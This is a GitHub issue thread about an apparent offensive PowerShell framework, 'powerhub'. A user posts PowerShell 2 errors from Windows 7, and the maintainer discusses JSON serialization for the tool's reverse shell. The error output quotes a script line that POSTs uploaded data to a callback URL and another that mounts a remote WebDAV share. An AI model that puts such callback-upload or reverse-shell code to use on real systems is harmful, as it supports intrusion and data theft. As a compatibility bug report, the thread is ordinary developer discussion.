Git Product home page Git Product logo

Comments (3)

exploide avatar exploide commented on August 19, 2024

Thanks for fixing #27

I discovered two more exceptions when trying to push to hub or mount webdav. Again Windows 7, PS 2.

PS C:\Users\foouser\Desktop> pth .\domusers.txt
Die Benennung "Invoke-RestMethod" wurde nicht als Name eines Cmdlet, einer Funktion, einer Skriptdatei oder eines ausfü
hrbaren Programms erkannt. Überprüfen Sie die Schreibweise des Namens, oder ob der Pfad korrekt ist (sofern enthalten),
 und wiederholen Sie den Vorgang.
Bei Zeile:567 Zeichen:34
+     $response = Invoke-RestMethod <<<<  -Uri $($CALLBACK_URL + "u?noredirect=1") -Method "POST" -ContentType "multipa
rt/form-data; boundary=`"$boundary`"" -Body $bodyLines
    + CategoryInfo          : ObjectNotFound: (Invoke-RestMethod:String) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : CommandNotFoundException



PS C:\Users\foouser\Desktop> mwd
net.exe : Die Syntax dieses Befehls lautet:
Bei Zeile:646 Zeichen:16
+     $netout = & <<<<  net use ${Letter}: \\$WEBDAV_URL /persistent:no 2>&1 | Out-Null
    + CategoryInfo          : NotSpecified: (Die Syntax dieses Befehls lautet::String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

from powerhub.

AdrianVollmer avatar AdrianVollmer commented on August 19, 2024

In the reverse shell, data is exchanged as JSON objects. On the powershell side, we rely on ConvertTo-Json and ConvertFrom-Json, which are not available in PS2. There is a trick using the .NET framework, but it requires version 3.5, which is not installed on win7 by default.

Now I need to think what other format we could use to serialize the data, or if it's worth to implement those functions... for simple JSON objects, at least. XML would be available, but it's pretty verbose.

from powerhub.

AdrianVollmer avatar AdrianVollmer commented on August 19, 2024

or just use this: https://github.com/EliteLoser/ConvertTo-Json

still, no ConvertFrom-Json

from powerhub.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.